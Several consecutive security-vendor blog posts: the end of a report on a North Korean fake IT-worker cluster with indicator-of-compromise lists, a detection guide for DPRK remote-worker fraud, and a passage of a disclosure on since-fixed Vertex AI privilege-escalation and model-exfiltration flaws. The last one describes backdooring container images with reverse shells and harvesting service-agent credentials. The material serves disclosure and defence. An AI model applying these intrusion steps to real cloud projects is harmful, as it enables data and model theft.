Multiple images on display including a close-up of a individual with some of their features blurred, as well as smaller images depicting a professional setting, and a map marking a shopping mall in Vientiane, Laos. The arrows walk the reader through how this person's location was traced.
Figure 1. Fake resumes created by CL-STA-0237.

Although the headshot photos differ slightly, they appear to be different pictures of the same individual. With moderate confidence, we believe these headshots belong to a real member of CL-STA-0237, as they are likely required to show their face during video conference calls with employers or clients.

Possible Physical Presence in Laos

Tracing CL-STA-0237's activities revealed the use of multiple Lao residential IP addresses. Criminals commonly use residential proxy services, so the use of such IP addresses alone does not provide strong evidence of physical presence.

However, we were able to verify that one of the threat actor’s headshot photos in Figure 2 was taken at a shopping mall in Vientiane, Laos, between late 2020 and mid-2021.

Screenshot collage showing multiple user profiles from a professional networking platform, including sections on work experience, education, skills, and personal endorsements. Much of the information is redacted.
Figure 2. Tracing the geolocation and timeframe of CL-STA-0237.

The A and B sections of the background of the IT worker's headshot photo in Figure 2 strongly indicated that it was taken in a shopping mall. Additionally, an advertisement for a phone model released in late 2020 suggested the time frame in which the picture was taken.

Considering these factors, along with Laos being one of the countries where North Korean IT workers have been dispatched, it is plausible that CL-STA-0237 may have had a physical presence in Laos. In contrast, previous Wagemole campaign clusters were primarily linked to IP infrastructures based in China and Russia.

Securing a Job at a Major Tech Company

The intelligence we gathered on CL-STA-0237 suggests that it secured multiple short-term and long-term jobs from companies of various sizes. We believe, with moderate confidence, that CL-STA-0237 secured a position in at least one major tech company in 2022.

CL-STA-0237 had access to the company's single sign-on (SSO) system, with an account created under the company’s domain. We believe this account was created for the North Korean IT worker rather than stolen, as the username corresponds to one of the fake identities CL-STA-0237 has been using in its fake IT worker operation.

Attribution

Since our previous report on the two job-related campaigns, some researchers have begun attributing the Contagious Interview campaign to the well-known North Korean threat group, Lazarus. However, we are not certain whether the IT workers led the attacks or simply assisted other hacking groups. Despite this uncertainty, we continue to observe links between malware campaigns and North Korean IT workers, thus we track these activities under our temporary cluster names.

On the other hand, there have been new developments regarding the attribution of the Wagemole campaign. Ethereum wallets associated with one of the Wagemole clusters showed significant fund transfers to a wallet belonging to Sang Man Kim.

Kim is a North Korean individual sanctioned by the U.S. Treasury for his role in supporting North Korea's illicit activities, including its WMD and ballistic missile programs. Kim is specifically linked to managing the finances of overseas North Korean IT workers in Russia and Laos, providing a potential connection to the campaign's financial operations.

Conclusion

North Korean threat actors have been highly successful in generating revenue to fund their nation’s illicit activities. They began by posing as fake IT workers to secure consistent income streams, but they have begun transitioning into more aggressive roles, including participating in insider threats and malware attacks.

The continuous discovery of such operations highlights the vast scale of the threat. Despite numerous reports, media coverage and law enforcement efforts, these campaigns have not diminished. We anticipate that North Korean job-related campaigns will likely persist and even escalate.

To mitigate these risks, organizations must enhance their screening processes for new hires. This includes the following activities:

  • Bolstering monitoring to detect insider threats
  • Carefully vetting outsourced services
  • Ensuring that employees do not use corporate machines for personal activities

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

  • Cortex XDR and XSIAM customers, users of both cloud and on-premises agents, receive protections out-of-the-box. Cortex’s XSIAM AI-assisted operations centralize data and SOC detection and response capabilities, providing protections from the advanced threats described in this article.
  • Prisma Cloud customers are protected out-of-the-box should the infection chains discussed within this article expose cloud infrastructure. Prisma Cloud monitors CI/CD pipelines, Cloud Secret Managers, Infrastructure as Code (IaC) templates and Software Composition to ensure that malicious execution, creation, modification or deletion of cloud resources are detected and remediated.
  • Advanced URL Filtering and Advanced DNS Security identify known URLs and domains associated with this activity as malicious

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

Domains

  • effertz-carroll[.]com
  • regioncheck[.]net
  • freeconference[.]io
  • ipcheck[.]cloud
  • mirotalk[.]io
  • mirotalk[.]net
  • ftpserver0909[.]com

IP Address

  • 167.88.36[.]13

Email Addresses

  • adonis_eros@outlook[.]com
  • brightstar1116@outlook[.]com
  • buyerlao@outlook[.]com
  • casey_qadir@outlook[.]com
  • cescernand@outlook[.]com
  • devstar1116@gmail[.]com
  • ebcappservices@gmail[.]com
  • hakajakin@outlook[.]com
  • ideationbrand@gmail[.]com
  • legend_dev@outlook[.]com
  • liko.sonexarth@gmail[.]com
  • liko.sonexarth@hotmail[.]com
  • longines0924@gmail[.]com
  • lujindane@outlook[.]com
  • matthewhall14541@gmail[.]com
  • niko.sonexarth@gmail[.]com
  • niko.sonexarth@hotmail[.]com
  • oscar.vetres127@europe[.]com
  • oscar.vetres127@gmail[.]com
  • pinefirst@outlook[.]com
  • reply9998@gmail[.]com
  • richard.stewart.1202@gmail[.]com
  • richard.stewart.1202@outlook[.]com
  • sniper_bruce@outlook[.]com
  • stp.walsh33@gmail[.]com
  • techcare127@gmail[.]com
  • truepai415@gmail[.]com
  • truestar222@outlook[.]com
  • volodimir.work2020@gmail[.]com
  • zhangming_k@yahoo[.]com
  • zhuming1116@gmail[.]com
  • lisettekolson8@gmail[.]com
  • 312011217@qq[.]com
  • alhinglovena3000@gmail[.]com
  • jumphon2103@gmail[.]com
  • mobilephetjum@gmail[.]com
  • phetchamphone1998@gmail[.]com

Additional Resources

Global Companies Are Unknowingly Paying North Koreans: Here’s How to Catch Them

Posted on by Samantha Stallings

Executive Summary

Workers with allegiances to the Democratic People's Republic of Korea (DPRK) have been infiltrating organizations worldwide through a fraudulent remote work scheme. This operation not only violates international sanctions but also poses cybersecurity risks to unwitting employers.

Drawing on publicly available information, including recent U.S. Department of Justice reports, Unit 42 has developed a guide for network defenders. While no single technique alone will detect these operatives, we propose a multi-faceted strategy that combines enhanced IT asset management, contextual analysis and strengthened security awareness.

Key to our recommendations is the implementation of a risk matrix tailored to each organization's specific environment. This matrix helps identify red flags, including the use of stolen identities, unusual work patterns and suspicious shipping addresses. We also stress the importance of rigorous background checks and the need for organizations to share information about suspicious activities.

With these strategies, organizations can strengthen their ability to detect and mitigate the risks posed by DPRK IT workers. While the threat is evolving, a proactive, informed approach can go a long way in preventing the exfiltration of sensitive data and inadvertent funding of North Korea's ambitions.

Palo Alto Networks customers are better protected from the threats discussed in this article through our Network Security platform, Prisma Access Browser offerings and Cortex line of products.

Organizations can engage the Unit 42 Incident Response team for specific assistance with this threat and others.

Related Unit 42 Topics Wagemole, DPRK, Cybercrime

Introduction

A scheme orchestrated by the DPRK has been infiltrating companies worldwide, posing significant cybersecurity risks and violating international sanctions. DPRK IT workers, operating under the direction of their government, are securing remote positions with businesses across the globe.

These operatives pose as legitimate freelancers or applicants from various countries, generating substantial revenue that directly funds North Korea's weapons of mass destruction (WMD) programs. According to U.S. Department of Justice reports, individual IT workers can earn up to $300,000 annually. The North Korean government retains up to 90% of these earnings, which collectively totals hundreds of millions of dollars each year.

The tactics, techniques and procedures (TTPs) employed by these operatives include the following:

  • Using stolen or synthetic identities
  • Using falsified employment and identity documents
  • Working with U.S.-based accomplices to create the appearance of domestic work locations
  • Using virtual private networks (VPNs) to mask true geographic locations
  • Manipulating employment verification processes
  • Extorting employers [PDF] by threatening to publish sensitive information

This operation puts global companies at risk of data breaches, intellectual property theft and legal consequences. The scheme takes advantage of the heightened prevalence of remote work and the challenges in verifying digital identities.

Traditional insider threat programs are unlikely to fully address this state-sponsored activity. Organizations need an approach that combines identity verification, remote work security and insider risk management.

In this analysis, Unit 42 will provide:

  • An examination of DPRK IT workers' TTPs
  • Strategies for enhancing identity verification processes
  • Detection methodologies for identifying anomalous behavior in remote work setups
  • Guidance on improving organizational resilience against social engineering
  • Practical solutions for strengthening defenses against this threat

Our objective is to equip cybersecurity professionals and organizations with detection and defensive strategies.

IT Worker’s Toolbox

DPRK IT workers employ an array of tools and techniques to infiltrate organizations and generate revenue. Their toolkit is designed to create a disposable persona, establishing false identities and maintaining the appearance of a typical legitimate employee. If any one persona is burned, the DPRK IT workers can leverage a new one easily.

Identity Manipulation

The DPRK IT worker scheme begins with obtaining or fabricating identity documents.

  • Use of genuine identities
    • Operatives build fraudulent identities using documents such as passports, driver's licenses and Social Security cards. Operatives may use legitimately issued documents obtained through identity theft or identity muling [PDF]. In other cases, they rely on forgeries of varying quality. (For observations of these behaviors, see page 5 of this September 2024 report [PDF] from the UK's Office of Financial Sanctions Implementation.)
  • Synthetic/blended identities
    • When authentic documents are unavailable, DPRK IT workers create synthetic identities by combining real and fake information. This can include using AI-generated or AI-manipulated photos to create convincing profile pictures that withstand basic scrutiny, as shown in Figure 1.
Two professional portraits side-by-side against a blurred office background. There are strong similarities, showing the manipulation of the left photo to transform it into the photo on the right.
Figure 1. An example of a stock photograph manipulated by DPRK IT workers. Source: KnowBe4.

Remote Access Tools

To maintain the illusion of being a local employee, operatives use remote desktop access software such as Chrome Remote Desktop, AnyDesk, Splashtop Streamer, TeamViewer and RustDesk.

Hardware devices like TinyPilot or PiKVM serve as physical keyboard, video or mouse (KVM) over internet protocol (IP) solutions, allowing operatives to remotely control computers as if they were physically present. These small devices connect directly to a computer's HDMI and USB ports, capturing video output and relaying user inputs. This hardware-based approach can bypass many software security measures and leave few traces.

Threat actors often abuse, take advantage of or subvert legitimate products for malicious purposes. This does not imply that the legitimate product is flawed or malicious.

Network Obfuscation Tools

To avoid detection, DPRK IT workers must conceal their true geographic location. VPNs, virtual private servers (VPSs) and proxy services mask the user's source IP address and encrypt internet traffic, making it appear as though the worker is connecting from an expected location.

The combination of remote desktop software and network obfuscation tools allows operatives to convincingly mimic the online behavior of an authentic remote worker.

Job Acquisition Tools

DPRK IT workers leverage popular freelancing and job search platforms to find potential targets. Operatives create accounts on popular job search websites, using their false identities to apply for positions. To support their cover stories, DPRK IT workers may create elaborate fake company websites. These sites lend credibility to their professional personas and can pass basic background checks.

To withstand video interviews, DPRK IT workers appear to prepare detailed responses and backstories to maintain consistency during job interviews. The quality of backstory varies, with some organizations reporting that operatives are unable to answer basic questions about their life outside of what they have presented in their resume.

Financial Tools

DPRK IT workers use a variety of financial services to monetize their activities. These include:

  • Online payment platforms
    • DPRK IT workers use these platforms, which could have less stringent verification processes than traditional banks, for receiving payments and transferring funds
  • Cryptocurrency
    • Bitcoin and other cryptocurrencies provide a level of anonymity and ease of cross-border transfers
  • Money service transmitters
    • DPRK IT workers use online money transfer services to move funds between domestic and international accounts while maintaining an appearance of legitimacy

Supporting Infrastructure

To tie all these elements together, DPRK IT workers rely on both physical and virtual infrastructure:

  • U.S.-based "laptop farms"
    • DPRK IT workers can gain assistance from accomplices based in the target locality who operate laptop farms. These accomplices receive corporate hardware on behalf of the DPRK IT workers and install the necessary tools to facilitate access.
  • Mail forwarding services
    • DPRK IT workers use these services to establish mailing addresses for correspondence and receiving equipment
  • Virtual phone numbers
    • DPRK IT workers use virtual phone numbers to get local phone numbers that they can answer from anywhere in the world.

Putting It Together

Based on publicly available information, a typical DPRK IT worker operation targeting a U.S. enterprise might unfold as follows:

An operative begins by establishing a false identity. They obtain the personal information of a U.S. citizen and create fraudulent documents, such as a driver's license, using the stolen information with the operative's photo substituted for the citizen’s.

Using this synthetic identity, the operative applies for remote IT positions at multiple U.S. companies through popular job search platforms. To maintain the illusion of being U.S.-based, they enlist a U.S. facilitator who agrees to receive and set up laptop computers, creating a laptop farm.

The facilitator receives company-issued laptops at their U.S. address and installs remote desktop applications on the device. This allows the operative to control the laptops from their actual location, often in China or Russia, while appearing to work from the U.S..

The operative secures employment with multiple companies, often at substantial salaries. They use VPNs and proxy services to mask their true IP address when connecting to the laptops. For video interviews and meetings, they may use prepared scripts or employ U.S.-based facilitators to participate on their behalf.

Companies pay fraudulently earned wages into U.S. bank accounts, which DPRK IT workers then move through various online payment platforms [PDF] and accounts, laundering the proceeds.

You Should Have a Risk Matrix

To counter the DPRK IT worker threat, organizations should develop a risk matrix tailored to their specific environment. This approach can detect potential operatives and enhance the overall security visibility of both internal and external threats.

DPRK IT workers employ diverse techniques, meaning there is unlikely to be any single mechanism for detection. Public records reveal a sophisticated and adaptable adversary. A risk matrix could chart the risk factor, its likelihood to occur in a DPRK IT worker matter, and the associated risk level to an organization if found in isolation.

One hypothetical risk matrix for an organization combating DPRK IT workers could be as follows:

Risk Factor Likelihood Risk Level
Use of stolen or synthetic identities High High
Unusual IP addresses or VPN usage High Low
Unauthorized remote desktop software usage High High
Inconsistencies in background checks High Medium
Abnormal work hours or productivity High Low
Heavy use of AI or translation software High Low
Logon from Russia or China, when a worker is supposedly based elsewhere Medium High
Use KVM over IP solutions like TinyPilot Medium High
Discrepancies in who appears in video calls Medium High
Use of U.S.-based facilitators (laptop farms; devices sent to individuals with no connection to job duties) Medium High
Unusual equipment shipping addresses Medium Medium
Attempts to access sensitive data outside job scope Medium High
Direct deposit to newer internet banking institutions Medium Low
Potential use of streaming software (to forward video/audio outputs through a remote machine) Medium Low
Use of cryptocurrency for payments Low Medium

IT Asset Management

Keeping accessible records of IT asset distribution helps defense staff and incident responders track anomalies, such as unexpected delivery locations or shipping forwarding services.

We recommend establishing protocols that flag the use of forwarding services and identifying when different employees have shipped multiple devices to the same address. By auditing the physical addresses associated with equipment shipments, organizations can add an additional layer of security to their network defense strategies.

We also recommend using endpoint security and endpoint management solutions for:

  • Enforcing device compliance policies
  • Managing and monitoring devices within the organization's network
  • Ensuring that endpoints adhere to security best practices

These tools can provide a variety of useful functionalities:

  • Offering insights into device health
  • Detecting irregularities in application installations
  • Remote isolation and wiping capabilities in case a device is compromised

Additionally, DPRK IT workers may leave crucial evidence in log sources often overlooked in log centralizing solutions, such as a security information and event management (SIEM) product. For example, Unit 42 recommends the ingestion of logs from:

  • Video conferencing applications such as Zoom or Microsoft Teams, which insider risks could use from unmanaged devices like a personal laptop or cellphone.
  • Customer relationship management SaaS solutions such as Salesforce, which can contain sensitive information prime for exfiltration by insiders.
  • High volume clipboard or screenshot activity on a managed endpoint, which could indicate data harvesting activities by insiders.

Contextualizing IP Addresses

Scrutinizing anomalous IP addresses significantly bolsters a company's security stance. DPRK IT workers rely on VPN services that function well in China, such as Astrill VPN.

Companies can also employ Spur Intelligence Corporation's tools, including their free service at spur[.]us/app/context, which offers insights into IP addresses. This tool can identify a VPN exit node used by a DPRK IT worker, providing context for further investigation, as seen in Figure 2.

Screenshot showing an IP address labeled as a datacenter proxy (with most of the address redacted), with associated icons and terms such as "anonymous," "geo-mismatch," and "file-sharing." Names include "Luminati Proxy" and "QUADRANET ENTERPRISES LLC."
Figure 2. User interface elements of Spur’s product Context, which provides context on a given IP address. This example illustrates an Astrill VPN exit node, a popular service in China, where many DPRK IT workers are based.

Spur continually updates its detections, which are available by API or client-side databases.

Strengthening the Human Firewall

The human element is a critical factor in the security breaches orchestrated by DPRK IT workers. These actors often exploit the inherent positivity bias—the tendency to overlook red flags in favor of a more favorable view of a person. Organizations must enhance their human firewall (i.e., the collective vigilance and security awareness of their staff).

Instill a culture of caution and responsibility. Security awareness training should be comprehensive, going beyond annual videos to actively engage employees in security practices. Train your staff to recognize and report anomalies, understanding that they play a critical role in the organization's security.

Organizations that employ remote tech workers, particularly in a contract capacity, should implement manager training focused on this threat and provide incident reporting channels.

Operational Security Measures

Operational security measures are also crucial. Enforce the principle of least privilege, ensuring that individuals have access only to the resources necessary for their job functions and no more. Regular reviews and audits of access privileges can prevent the accumulation of access rights that a DPRK IT worker might exploit.

Network segmentation is another effective strategy. By dividing the network into separate segments, organizations can contain and limit the movement of DPRK IT workers within their systems, reducing the reach of any potential compromise.

Moreover, organizations can employ monitoring strategies such as anomaly detection systems to spot not just DPRK IT workers, but other threats as well. If possible, the integration of advanced threat detection tools along with a defined incident response team can provide speedier containment.

Further, organizations should implement secure coding practices, regular security patches and updates along with endpoint protection, contributing to a robust security posture that can withstand attempts at infiltration. These activities can also help mitigate the damage done by DPRK IT workers.

Background Checks

We recommend organizations engage specialized firms that offer identity document verification services to mitigate the risks associated with manipulated identification documents. These firms are equipped with tools and expertise to detect inconsistencies and signs of tampering in documents that might not be evident to untrained personnel. Unit 42, working with Vcheck Global, has created a workflow specifically designed to combat worker identity fraud. Unit 42 can facilitate an introduction to interested parties. Identity verification is the single best opportunity for network defenders when tackling this threat before network intrusion.

Additionally, we recommend correlating worker IDs with liveness checks by their hiring manager, who can compare the ID provided during the background check with the individual on camera, as well as during the interview process.

Some organizations rely on staffing firms to manage identity verification and background checks, relying on a statement of completion from the providers. Organizations should not assume that a staffing firm's attestation guarantees identity verification. Independent verification or strict oversight of the staffing firm's procedures mitigates the risk of infiltration by malicious actors. This could include:

  • Requiring that staffing agencies use a defined background check workflow
  • Ensuring access to verification documents for audits
  • Working with trusted agencies that prioritize due diligence and background investigations

Information Sharing

Unit 42 encourages organizations to proactively share information on suspicious employees or applicants with others. DPRK IT workers’ resumes and social media profiles could provide clues to other potential victims.

We further encourage organizations to prioritize information sharing around known DPRK IT workers with the following types of organizations:

  • Peer companies through Information Sharing and Analysis Center (ISAC) groups
  • The applicable security teams of social media platforms and contract worker platforms

Finally, we believe organizations that report their incidents to law enforcement (particularly the FBI) could receive helpful guidance on containment.

Go Hunting

NGFW customers with Panorama can use the following dashboard to identify remote access users in their environment:

Cortex XDR customers can use the following query to hunt for executions of certain remote monitoring and management (RMM) tools in their environment over the past 30 days:

Conclusion

The threat posed by DPRK IT workers represents a challenge for organizations. These state-sponsored actors have demonstrated adaptability and resourcefulness in their efforts to infiltrate companies, generate revenue for North Korea's weapons programs, and potentially exfiltrate sensitive information.

Our analysis reveals a sophisticated operation that exploits the architecture of human resources operations. The operation leverages a combination of identity fraud, technological tools and social engineering to compromise organizations.

While no single measure can guarantee protection against this threat, a layered defense strategy significantly improves an organization's ability to detect and mitigate against DPRK IT workers and a variety of similar threats. Regular audits, continuous monitoring and staying informed about evolving TTPs will help in maintaining an effective security posture.

As DPRK IT workers continue to refine their methods, the global cybersecurity community must remain vigilant and adaptive. By implementing the strategies outlined in this analysis and fostering collaboration between private sector entities and law enforcement agencies, we can work toward disrupting this revenue stream and protecting sensitive assets.

Palo Alto Networks customers can better protect against the threats discussed above through the following products:

  • Cortex XDR can be configured to block and hunt for the tool sets discussed in this article.
  • Organizations can leverage next-generation firewalls to identify and block access vectors for DPRK IT workers. In environments with outbound SSL decryption enabled, more granular App-ID based policies can be implemented.
  • Prisma Access Browser can be configured to block logins from devices with active remote access sessions, preventing access to sensitive browser-based data in managed or unmanaged environments.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Additional Resources

ModeLeak: Privilege Escalation to LLM Model Exfiltration in Vertex AI

Posted on by Samantha Stallings

Executive Summary

In the race to gain a competitive edge, organizations are increasingly training artificial intelligence (AI) models on sensitive data. But what if a seemingly harmless AI model became a gateway for attackers?

A malicious actor could upload a poisoned model to a public repository, and without realizing it, your team could deploy it in your environment. Once active, that model could exfiltrate your sensitive machine learning (ML) models and fine-tuned large language model (LLM) adapters. With access to these adapters, attackers could replicate your custom tuning and optimizations, exposing sensitive information embedded in fine-tuning patterns.

Palo Alto Networks researchers recently uncovered two vulnerabilities in Google's Vertex AI platform. These vulnerabilities could have allowed attackers to escalate privileges and exfiltrate models.

We have shared these findings with our partners at Google, and they have since implemented fixes to eliminate these specific issues for Vertex AI on the Google Cloud Platform (GCP). Read on to understand how these vulnerabilities worked and how you can protect your environment from similar threats.

In this article, we outline our steps to discover two vulnerabilities in the Vertex AI platform:

  • Privilege escalation via custom jobs
    By exploiting custom job permissions, we were able to escalate our privileges and gain unauthorized access to all data services in the project.
  • Model exfiltration via malicious model
    Deploying a poisoned model in Vertex AI led to the exfiltration of all other fine-tuned models, posing a serious proprietary and sensitive data exfiltration attack risk.

Our examination of the first vulnerability ended with a classic privilege escalation, but the second vulnerability represents a much more interesting “model-to-model” infection scenario that required an in-depth exploration.

Figure 1 shows a diagram demonstrating the two vulnerabilities.

Diagram showing a cybersecurity threat involving AI models. The vulnerability 1 at the top shows an attacker creating a custom job through a fake service agent that leads to privilege escalation, branching into the customer source project and the Google internal artifact registry. The second vulnerability on the bottom shows a malicious model in a public repository.
Figure 1. A diagram demonstrating the two vulnerabilities.

Palo Alto Networks customers are better protected from the threats discussed in this article through our Prisma Cloud offerings.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Cloud Cybersecurity Research, Privilege Escalation

Privilege Escalation Through Custom Code Injection

The first vulnerability we found is a privilege escalation through custom code injection. To properly explain this method, we must first understand model tuning in Vertex AI Pipelines.

Background: Understanding Model Tuning With Vertex AI Pipelines

Vertex AI is a comprehensive platform for developing, training and deploying ML and AI models. A key feature of this platform is Vertex AI Pipelines, which allow users to tune their models using custom jobs, also referred to as custom training jobs.

These custom jobs are essentially code that runs within the pipeline and can modify models in various ways. While this flexibility is valuable, it also opens the door to potential exploitation.

Our research focused on how attackers could abuse custom jobs. By manipulating the custom job pipeline, we discovered a privilege escalation path that allowed us to access resources far beyond the intended scope.

Flowchart showing a data processing pipeline for a project. It includes steps labeled 'Customer GCP Source Project,' 'Pipeline Job,' 'Custom Job,' 'Fine-tuned AI Model,' and 'Prediction Server.' Each step is connected sequentially with arrows indicating the flow of data processing from left to right.
Figure 2. Tuning of Vertex AI model flow diagram.

In Figure 2, tuning a Vertex AI model (ML or LLM) happens in a remote tenant project that is dedicated to the source project (step 1). The tuning process uses custom jobs defined in Vertex AI Pipelines, which are run on a different tenant project (step 2).

When the tuning process is complete, a new tuned model is created in the model registry in the origin project (step 3). At this point, we deploy our model in a third different tenant project (step 4).

Attack Flow of the Privilege Escalation Vulnerability

When running, a custom job executes within a tenant project under a service agent identity. By default, service agents have excessive permissions to many services in the source project, such as all the source project's Cloud Storage and BigQuery datasets. With the service agent’s identity, we could list, read and even export data from buckets and datasets we should never have been able to access.

Delving Deeper: Injecting Custom Code

For a custom job to run specific code, we could either inject commands into the container spec JSON configuration or create an image that opens a reverse shell. In our case, we created a custom image as a backdoor, allowing us to gain access to the environment. Figure 3 below shows the commands we used to create this custom image.

A screenshot of a command line interface showing code for creating a custom job in Google Cloud AI, with parameters for region, display name, project name, worker pool specifications, and container image specified.
Figure 3. Creating an image to run custom code.

With this custom job running in a tenant-project, we discovered that our identity was the following:

service-<PROJECT_NUMBER>@gcp-sa-aiplatform-cc.iam.gserviceaccount[.]com

This service agent is the AI Platform Custom Code Service Agent. With the service agent acting in this role, we could perform the following activities:

  • Accessing the metadata service
  • Acquiring the service credentials
  • Extracting the user-data script

This account had extensive permissions, including the following:

  • The ability to list all service accounts
  • Creating, deleting, reading and writing all storage buckets
  • Accessing all BigQuery tables

Figure 4 lists the specific permissions that our service agent had in the source project during our testing.

A text-based image displaying a list of various Google Cloud service permissions such as bigquery.datasets.create, storage.buckets.list, and iam.serviceAccounts.getAccessToken, arranged in two columns.
Figure 4. Service agent permissions granted in the source project.

The user-data script gave us visibility into the virtual machine (VM) creation and provided us with metadata on GCP internal Artifactory repositories.

We used the metadata to access the internal GCP repositories and downloaded images that we didn’t have permissions for with our original service account. Although we gained access to restricted internal GCP repositories, we could not understand the extent of the vulnerability that we discovered, since permissions on the repository are granted at the repository level.

This is a classic privilege escalation that with the single permission of aiplatform.customJobs.create gives us the ability to access additional resources in the origin project. This is the first vulnerability we found in the Vertex AI platform. Figure 5 presents a flow diagram on privilege escalation through exploiting this vulnerability with custom jobs.

Flowchart showing a data processing pipeline for a project. It includes steps labeled 'Customer GCP Source Project,' 'Pipeline Job,' 'Custom Job,' 'Fine-tuned AI Model,' and 'Prediction Server.' Each step is connected sequentially with arrows indicating the flow of data processing from left to right.
Figure 5. Flow diagram for privilege escalation through custom jobs.

Model Exfiltration Attack via Malicious Model Deployment

This section explores the second vulnerability we discovered in Vertex AI. We demonstrate how deploying a malicious model could lead to severe consequences, including the exfiltration of other models within the environment.

Imagine a malicious actor uploading a poisoned model to a public model repository. Unaware of the threat, a data scientist within your organization imports and deploys this model in Vertex AI. Once deployed, the malicious model can exfiltrate every other ML and LLM model in the project, including sensitive fine-tuned models, putting your organization’s most critical assets at risk.

We enacted this scenario by deploying a poisoned model in a Vertex AI environment we deployed for testing. During our test, we gained access to the custom-online-prediction service account, allowing us to view and steal other AI and ML models from our test project.

Attack Flow of the Model Exfiltration Attack

The attack flow consists of two steps. First, we deployed a poisoned model in a tenant project, which gave us access to restricted GCP repositories and sensitive model data. In the second step, we used the poisoned model to exfiltrate proprietary AI models, including fine-tuned LLM adapters.

Delving Deeper: Preparing a Malicious Vertex Model

Before we dive into preparing a model and discussing Vertex platforms, let's cover some basics in Vertex.

In our previous section discussing ​​model tuning with Vertex AI Pipelines, we outlined the flow of tuning a model. To create a malicious model, we start with an “innocent” model. When we finish the training process, we will see the new model in the Vertex AI Model Registry.

The Vertex AI Model Registry contains all the imported or trained models. This allows several functions in the GCP console, such as deploying to an endpoint. Figure 6 shows that one of these functions is an export feature to export the model to a storage bucket.

Screenshot of a computer interface titled 'fraud-dataset', showing tabs like VIEW DATASET and EXPORT. Below, EVALUATE, DEPLOY & TEST, BATCH PREDICT, VERSION DETAILS, LINEAGE are equally listed. It displays a section titled 'Pointwise evaluations' with a list of evaluations including one named 'untitled_266311820116622245' marked as 'Succeeded' created on December 8, 2023.
Figure 6. Screenshot of GCP console showing option to export a Vertex AI model.

Exporting the model shown in Figure 6 reveals the model is built from vectors and runs a specified image. Below, Figure 7 identifies the specific image of the exported model in the environment.json file.

Two stacked screenshots displaying a directory structure and code file names in Visual Studio Code editor, involving files like "saved_model.pb," "variables.data-00000-of-00001," and "environment.json" in a development environment setup.
Figure 7. Exported model file structure and environment.json file content.

By altering the image in the model, we could customize it to create a reverse shell, then we imported our new modified model to the model registry. Deploying this altered model to an endpoint will trigger the reverse shell, allowing us to navigate the tenant project of our test environment.

After gaining a shell, we found that we were operating as the custom-online-prediction service-account in this environment, as shown below in Figure 8.

Screenshot showing a list of active Google Cloud authenticated accounts, with one account listed.
Figure 8. The custom-online-prediction service-account attached to the machine, gathered from the gcloud API.

Using this method, we did not have permission to use cloudresourcemanager.projects.getIamPolicy, so we could not list our permissions in the tenant project. However, we could use cloudresourcemanager.projects.testIamPermissions to enumerate our permissions in the tenant project. Although the permissions of this service account are read-only, this level of access can yield significant power with just a bit of imagination, as we will illustrate.

Figure 9 shows the results from listing all the resources in this project, enumerating three Kubernetes clusters.

Screenshot of gcloud container cluster lists including location, IP addresses, machine type and more.
Figure 9. Cluster enumeration for prediction tenant project.

Of the three Kubernetes clusters in this project, our malicious model runs on the third cluster, which is a deployment process for an endpoint. We will review the first two clusters later, but for now, let's examine the third.

To run kubectl commands on these clusters to retrieve information on pods and namespaces, we needed appropriate privileges. We achieved this by executing the get-cluster-credentials command in GCP, using the name of the cluster that we gathered in the previous enumeration step from Figure 9. Figure 10 below shows the results.

A screenshot of a few lines of code in a terminal window. White text on a black background.
Figure 10. Fetching credentials for a running cluster.

With these credentials, we could use kubectl to explore the cluster, listing namespaces, pods, containers and service accounts. This step enabled us to move from the GCP realm into Kubernetes. This lateral movement was possible because permissions between GCP and GKE were linked through IAM Workload Identity Federation.

We found ourselves operating within a newly created cluster, where our namespace name was prediction as shown below in Figure 11.

A screenshot of a computer terminal displaying a list of namespaces in Kubernetes with their status and age. Namespaces listed include ai-connector-system, argo-system, default, gmp-public, istio-system, kube-node-lease, kube-public, prediction, vertex-logging, and vertex-metrics, all marked as active.
Figure 11. List of namespaces gathered using the kubectl command that includes our newly created cluster.

Returning to GCP, we listed the service accounts. By analyzing the IAM permissions of the GCP service account, we noticed the Kubernetes service accounts attached to it. Figure 12 shows this list revealing the service account for our newly created prediction cluster.

Image showing a list of account details with various names and statuses in white text on a black background. One line is highlighted in red.
Figure 12. List of service accounts in the prediction tenant project.

In the default namespace of our cluster, only the default service account was present. However, based on the information we gathered, we inferred that our GCP service account had access to other Kubernetes clusters as well. By inspecting the pod details and examining the images, we confirmed that we were running inside a container within a pod in the prediction namespace, most likely in the context of prediction/default-serving. Figure 13 below illustrates this.

Screenshot of a computer screen displaying lines of code related to Google Cloud services, with a specific focus on a section highlighted in red.
Figure 13. The permission binding of the custom-online-prediction GCP service account and Kubernetes service accounts.

Now that we had determined our identity, the next question was to determine what we could do.

We tried to create, delete, update, attach, execute and more, but we failed with no permissions. However, we could enumerate all the clusters, which gave us a great deal of information and increased our playground to try more attack vectors.

With our read-only permissions, we could list the pods in our newly created prediction cluster using the list pods command. Figure 14 shows two specific entries from this output.

Image displaying code snippets with JSON format data, includes references to image resources hosted on cloud servers.
Figure 14. Two entries from the JSON output of list pods command.

Figure 14 shows the following two pods in our prediction namespace:

  • predictor-resource-pool-3882551479537500160-867655f99c-2dhhc
  • predictor-resource-pool-7628701944579620864-ccc8d8b94-f2chw

Both pods have containers using images from a repository located in our tenant project. Those images are:

  • us-central1-docker.pkg.dev/s154574aecb0c9653-tp/dm-2118255330398830592-pipeline-6604364906047209472/lala:latest
  • us-central1-docker.pkg.dev/s154574aecb0c9653-tp/dm-1402464464623632384-pipeline-1229318750780522496/lala:latest

Each of the two image entries above show lala:latest at the end of each name, indicating these are our own malicious images. It’s worth noting, our malicious images were stored in different repositories, representing distinct versions of the same image.

